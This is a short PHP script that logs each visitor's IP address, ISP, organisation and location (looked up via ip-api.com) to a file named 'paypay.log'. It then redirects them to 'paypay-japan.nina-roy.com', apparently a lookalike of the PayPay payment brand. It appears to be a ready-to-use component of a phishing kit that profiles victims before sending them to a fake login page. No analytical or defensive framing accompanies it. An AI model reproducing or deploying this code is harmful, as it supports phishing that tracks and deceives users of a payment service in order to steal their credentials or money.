<?php
// Get visitor IP
$ip = $_SERVER['REMOTE_ADDR'];

// Fetch IP info from ip-api.com
$ipInfo = @file_get_contents("http://ip-api.com/json/$ip?fields=query,isp,org,country,regionName,city");

// Decode JSON response
$data = json_decode($ipInfo, true);

// Log or use the info
if ($data && $data['query']) {
    $log = "IP: " . $data['query'] . " | ISP: " . $data['isp'] . " | Org: " . $data['org'] . 
           " | Country: " . $data['country'] . " | Region: " . $data['regionName'] . 
           " | City: " . $data['city'] . " | Time: " . date("Y-m-d H:i:s") . "\n";

    // Save to log file
    file_put_contents("paypay.log", $log, FILE_APPEND);
}

// Redirect
header("Location: https://paypay-japan.nina-roy.com/index.html");
exit;
?>
